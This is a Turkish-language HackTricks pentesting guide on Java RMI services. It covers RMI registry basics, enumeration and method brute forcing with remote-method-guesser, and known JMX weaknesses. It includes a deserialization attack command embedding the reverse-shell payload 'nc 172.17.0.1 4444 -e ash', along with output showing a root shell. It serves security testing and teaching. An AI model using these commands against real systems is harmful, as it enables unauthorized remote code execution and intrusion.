hacktricks/network-services-pentesting/1099-pentesting-java-rmi.md
2024-02-10 18:14:16 +00:00

335 lines
19 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 1098/1099/1050 - Java RMI Pentesting - RMI-IIOP
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramanla öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek paylaşın**.
</details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Temel Bilgiler
_Java Uzak Yöntem Çağrısı_ veya _Java RMI_, bir _Java sanal makinesi_ üzerinde bulunan bir nesnenin başka bir _Java sanal makinesi_ üzerinde bulunan bir nesne üzerinde yöntem çağırmasına izin veren nesne yönelimli bir _RPC_ mekanizmasıdır. Bu, geliştiricilerin nesne yönelimli bir paradigma kullanarak dağıtık uygulamalar yazmalarını sağlar. Saldırgan bir bakış açısından _Java RMI_ hakkında kısa bir giriş [bu blackhat konuşmasında](https://youtu.be/t\_aw1mDNhzI?t=202) bulunabilir.
**Varsayılan port:** 1090,1098,1099,1199,4443-4446,8999-9010,9999
```
PORT STATE SERVICE VERSION
1090/tcp open ssl/java-rmi Java RMI
9010/tcp open java-rmi Java RMI
37471/tcp open java-rmi Java RMI
40259/tcp open ssl/java-rmi Java RMI
```
Genellikle, yalnızca varsayılan _Java RMI_ bileşenleri (_RMI Registry_ ve _Activation System_) yaygın portlara bağlanır. Gerçek _RMI_ uygulamasını uygulayan _uzak nesneler_ genellikle yukarıdaki çıktıda gösterildiği gibi rastgele portlara bağlanır.
_nmap_, bazen _SSL_ korumalı _RMI_ hizmetlerini tanımlamakta zorluk yaşayabilir. Yaygın bir _RMI_ portunda bilinmeyen bir ssl hizmetiyle karşılaşırsanız, daha fazla araştırma yapmanız gerekmektedir.
## RMI Bileşenleri
Basit bir ifadeyle, _Java RMI_, bir geliştiricinin bir _Java nesnesini_ ağ üzerinde kullanılabilir hale getirmesine olanak tanır. Bu, istemcilerin bağlanabileceği ve ilgili nesne üzerinde yöntemleri çağırabileceği bir _TCP_ portu açar. Bu basit gibi görünse de, _Java RMI_ tarafından çözülmesi gereken birkaç zorluk vardır:
1. Bir yöntem çağrısını _Java RMI_ aracılığıyla yönlendirmek için istemcilerin hedeflenen nesnenin IP adresini, dinleme portunu, uygulanan sınıfı veya arabirimini ve `ObjID`'yi (hedeflenen nesnenin ağda kullanılabilir hale getirildiğinde oluşturulan benzersiz ve rastgele bir tanımlayıcıdır. Birden fazla nesnenin aynı _TCP_ portunda dinlemesine izin verir) bilmeleri gerekir.
2. Uzak istemciler, açığa çıkarılan nesne üzerinde yöntemleri çağırarak sunucuda kaynaklar tahsis edebilir. _Java sanal makinesi_, bu kaynaklardan hangilerinin hala kullanımda olduğunu ve hangilerinin çöp toplama işlemine tabi tutulabileceğini takip etmelidir.
İlk zorluk, temel olarak _Java RMI_ için bir isimlendirme hizmeti olan _RMI registry_ tarafından çözülür. _RMI registry_ kendisi de bir _RMI hizmeti_ olmasına rağmen, uygulanan arabirim ve `ObjID` sabittir ve tüm _RMI_ istemcileri tarafından bilinir. Bu, _RMI_ istemcilerinin yalnızca ilgili _TCP_ portunu bilerek _RMI_ kaydını tüketmesine olanak tanır.
Geliştiriciler, _Java nesnelerini_ ağ içinde kullanılabilir hale getirmek istediklerinde genellikle onları bir _RMI registry_'e bağlarlar. _Registry_, nesneye bağlanmak için gereken tüm bilgileri depolar (IP adresi, dinleme portu, uygulanan sınıf veya arabirim ve `ObjID` değeri) ve bunu insan tarafından okunabilir bir isim altında (bağlı isim) kullanılabilir hale getirir. _RMI hizmetini_ tüketmek isteyen istemciler, _RMI registry_'den ilgili _bağlı ismi_ isteyebilir ve registry, bağlanmak için gereken tüm bilgileri döndürür. Bu nedenle, durum aslında sıradan bir _DNS_ hizmetiyle aynıdır. Aşağıdaki örnek küçük bir örneği göstermektedir:
```java
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
import lab.example.rmi.interfaces.RemoteService;
public class ExampleClient {
private static final String remoteHost = "172.17.0.2";
private static final String boundName = "remote-service";
public static void main(String[] args)
{
try {
Registry registry = LocateRegistry.getRegistry(remoteHost); // Connect to the RMI registry
RemoteService ref = (RemoteService)registry.lookup(boundName); // Lookup the desired bound name
String response = ref.remoteMethod(); // Call a remote method
} catch( Exception e) {
e.printStackTrace();
}
}
}
```
Yukarıda bahsedilen zorluklardan ikincisi, _Dağıtılmış Garbage Collector_ (_DGC_) tarafından çözülür. Bu, her bir _RMI uç noktasında_ bulunan ve iyi bilinen bir `ObjID` değerine sahip başka bir _RMI servisidir_. Bir _RMI istemcisi_ bir _RMI servisini_ kullanmaya başladığında, ilgili _uzak nesnenin_ kullanımda olduğuna dair bir bilgiyi _DGC_'ye gönderir. _DGC_ daha sonra referans sayısını takip edebilir ve kullanılmayan nesneleri temizleyebilir.
Eski _Activation System_ ile birlikte, bunlar _Java RMI_'nın üç varsayılan bileşenidir:
1. _RMI Kayıt Defteri_ (`ObjID = 0`)
2. _Activation System_ (`ObjID = 1`)
3. _Dağıtılmış Garbage Collector_ (`ObjID = 2`)
_Java RMI_'nın varsayılan bileşenleri, eski _Java_ sürümlerinde bir süredir bilinen saldırı vektörleridir ve birden fazla güvenlik açığı bulunmaktadır. Bir saldırgan perspektifinden, bu varsayılan bileşenler ilgi çekicidir, çünkü bilinen sınıfları / arabirimleri uygularlar ve onlarla etkileşim kurmak kolaydır. Bu durum, özel _RMI servisleri_ için farklıdır. Bir _uzak nesne_ üzerinde bir yöntem çağırmak için, önceden ilgili yöntem imzasını bilmek gerekmektedir. Var olan bir yöntem imzasını bilmeden, bir _RMI servisiyle_ iletişim kurmanın bir yolu yoktur.
## RMI Numaralandırma
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser), yaygın _RMI güvenlik açıklarını_ otomatik olarak tanımlayabilen bir _Java RMI_ zafiyet tarama aracıdır. Bir _RMI_ uç noktası tespit ettiğinizde, bunu denemelisiniz:
```
$ rmg enum 172.17.0.2 9010
[+] RMI registry bound names:
[+]
[+] - plain-server2
[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ff7, 3638117546492248534]
[+] - legacy-service
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ffc, 708796783031663206]
[+] - plain-server
[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] RMI server codebase enumeration:
[+]
[+] - http://iinsecure.dev/well-hidden-development-folder/
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
[+] --> de.qtc.rmg.server.interfaces.IPlainServer
[+]
[+] RMI server String unmarshalling enumeration:
[+]
[+] - Caught ClassNotFoundException during lookup call.
[+] --> The type java.lang.String is unmarshalled via readObject().
[+] Configuration Status: Outdated
[+]
[+] RMI server useCodebaseOnly enumeration:
[+]
[+] - Caught MalformedURLException during lookup call.
[+] --> The server attempted to parse the provided codebase (useCodebaseOnly=false).
[+] Configuration Status: Non Default
[+]
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+]
[+] - Caught NotBoundException during unbind call (unbind was accepeted).
[+] Vulnerability Status: Vulnerable
[+]
[+] RMI Security Manager enumeration:
[+]
[+] - Security Manager rejected access to the class loader.
[+] --> The server does use a Security Manager.
[+] Configuration Status: Current Default
[+]
[+] RMI server JEP290 enumeration:
[+]
[+] - DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
[+] Vulnerability Status: Non Vulnerable
[+]
[+] RMI registry JEP290 bypass enmeration:
[+]
[+] - Caught IllegalArgumentException after sending An Trinh gadget.
[+] Vulnerability Status: Vulnerable
[+]
[+] RMI ActivationSystem enumeration:
[+]
[+] - Caught IllegalArgumentException during activate call (activator is present).
[+] --> Deserialization allowed - Vulnerability Status: Vulnerable
[+] --> Client codebase enabled - Configuration Status: Non Default
```
Sorgulama eyleminin çıktısı, projenin [belgelendirme sayfalarında](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) daha detaylı olarak açıklanmaktadır. Sonuca bağlı olarak, tespit edilen zayıflıkları doğrulamak için denemeler yapmalısınız.
_remote-method-guesser_ tarafından gösterilen `ObjID` değerleri, hizmetin çalışma süresini belirlemek için kullanılabilir. Bu, diğer zayıflıkları tespit etmeye yardımcı olabilir:
```
$ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
[+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] ObjNum: -4004948013687638236
[+] UID:
[+] Unique: 1442798173
[+] Time: 1640761503828 (Dec 29,2021 08:05)
[+] Count: -32760
```
## Uzak Yöntemleri Bruteforce Etme
Numaralandırma sırasında herhangi bir zayıflık tespit edilmese bile, mevcut _RMI_ hizmetleri tehlikeli işlevleri ortaya çıkarabilir. Dahası, _RMI_ varsayılan bileşenlere yapılan _RMI_ iletişimi, serileştirme filtreleri tarafından korunurken, özel _RMI_ hizmetleriyle iletişim kurulduğunda, bu tür filtreler genellikle mevcut değildir. _RMI_ hizmetlerinde geçerli yöntem imzalarını bilmek bu nedenle değerlidir.
Ne yazık ki, _Java RMI_, _uzak nesnelerde_ yöntemleri numaralandırmayı desteklemez. Bununla birlikte, [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) veya [rmiscout](https://github.com/BishopFox/rmiscout) gibi araçlarla yöntem imzalarını bruteforce etmek mümkündür:
```
$ rmg guess 172.17.0.2 9010
[+] Reading method candidates from internal wordlist rmg.txt
[+] 752 methods were successfully parsed.
[+] Reading method candidates from internal wordlist rmiscout.txt
[+] 2550 methods were successfully parsed.
[+]
[+] Starting Method Guessing on 3281 method signature(s).
[+]
[+] MethodGuesser is running:
[+] --------------------------------
[+] [ plain-server2 ] HIT! Method with signature String execute(String dummy) exists!
[+] [ plain-server2 ] HIT! Method with signature String system(String dummy, String[] dummy2) exists!
[+] [ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists!
[+] [ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists!
[+] [ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists!
[+] [6562 / 6562] [#####################################] 100%
[+] done.
[+]
[+] Listing successfully guessed methods:
[+]
[+] - plain-server2 == plain-server
[+] --> String execute(String dummy)
[+] --> String system(String dummy, String[] dummy2)
[+] - legacy-service
[+] --> void logMessage(int dummy1, String dummy2)
[+] --> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
[+] --> String login(java.util.HashMap dummy1)
```
Belirlenen yöntemler şu şekilde çağrılabilir:
```
$ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar
[+] uid=0(root) gid=0(root) groups=0(root)
```
Ya da şu şekilde deserializasyon saldırıları gerçekleştirebilirsiniz:
```
$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --bound-name plain-server --signature "String execute(String dummy)"
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI endpoint...
[+]
[+] Using non primitive argument type java.lang.String on position 0
[+] Specified method signature is String execute(String dummy)
[+]
[+] Caught ClassNotFoundException during deserialization attack.
[+] Server attempted to deserialize canary class 6ac727def61a4800a09987c24352d7ea.
[+] Deserialization attack probably worked :)
$ nc -vlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:45479.
id
uid=0(root) gid=0(root) groups=0(root)
```
Daha fazla bilgi bu makalelerde bulunabilir:
* [JEP 290'dan sonra Java RMI hizmetlerine saldırma](https://mogwailabs.de/de/blog/2019/03/attacking-java-rmi-services-after-jep-290/)
* [Yöntem Tahmini](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/method-guessing.md)
* [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
* [rmiscout](https://bishopfox.com/blog/rmiscout)
Tahmin etmenin yanı sıra, karşılaşılan bir RMI hizmetinin arayüzünü veya hatta uygulamasını arama motorlarında veya _GitHub_ üzerinde de aramalısınız. Burada, "bound name" ve uygulanan sınıf veya arayüzün adı yardımcı olabilir.
## Bilinen Arayüzler
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser), bilinen RMI hizmetlerinin dahili veritabanında listelenmişse, sınıfları veya arayüzleri `known` olarak işaretler. Bu durumlarda, ilgili RMI hizmeti hakkında daha fazla bilgi almak için `known` eylemini kullanabilirsiniz:
```
$ rmg enum 172.17.0.2 1090 | head -n 5
[+] RMI registry bound names:
[+]
[+] - jmxrmi
[+] --> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+] Endpoint: localhost:41695 TLS: no ObjID: [7e384a4f:17e0546f16f:-7ffe, -553451807350957585]
$ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] Name:
[+] JMX Server
[+]
[+] Class Name:
[+] - javax.management.remote.rmi.RMIServerImpl_Stub
[+] - javax.management.remote.rmi.RMIServer
[+]
[+] Description:
[+] Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine.
[+] This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient
[+] method usually passing a HashMap that contains connection options (e.g. credentials). The return
[+] value (RMIConnection object) is another remote object that is when used to perform JMX related
[+] actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id.
[+]
[+] Remote Methods:
[+] - String getVersion()
[+] - javax.management.remote.rmi.RMIConnection newClient(Object params)
[+]
[+] References:
[+] - https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html
[+] - https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi
[+]
[+] Vulnerabilities:
[+]
[+] -----------------------------------
[+] Name:
[+] MLet
[+]
[+] Description:
[+] MLet is the name of an MBean that is usually available on JMX servers. It can be used to load
[+] other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean
[+] is therefore most of the time equivalent to remote code execution.
[+]
[+] References:
[+] - https://github.com/qtc-de/beanshooter
[+]
[+] -----------------------------------
[+] Name:
[+] Deserialization
[+]
[+] Description:
[+] Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient
[+] method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the
[+] actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can
[+] establish a working JMX connection, you can also perform deserialization attacks.
[+]
[+] References:
[+] - https://github.com/qtc-de/beanshooter
```
## Shodan
* `port:1099 java`
## Araçlar
* [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
* [rmiscout](https://github.com/BishopFox/rmiscout)
* [BaRMIe](https://github.com/NickstaDB/BaRMIe)
## Referanslar
* [https://github.com/qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
## HackTricks Otomatik Komutları
```
Protocol_Name: Java RMI #Protocol Abbreviation if there is one.
Port_Number: 1090,1098,1099,1199,4443-4446,8999-9010,9999 #Comma separated if there is more than one.
Protocol_Description: Java Remote Method Invocation #Protocol Abbreviation Spelled out
Entry_1:
Name: Enumeration
Description: Perform basic enumeration of an RMI service
Command: rmg enum {IP} {PORT}
```
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklam vermek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimizi**](https://opensea.io/collection/the-peass-family) görün
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın.
</details>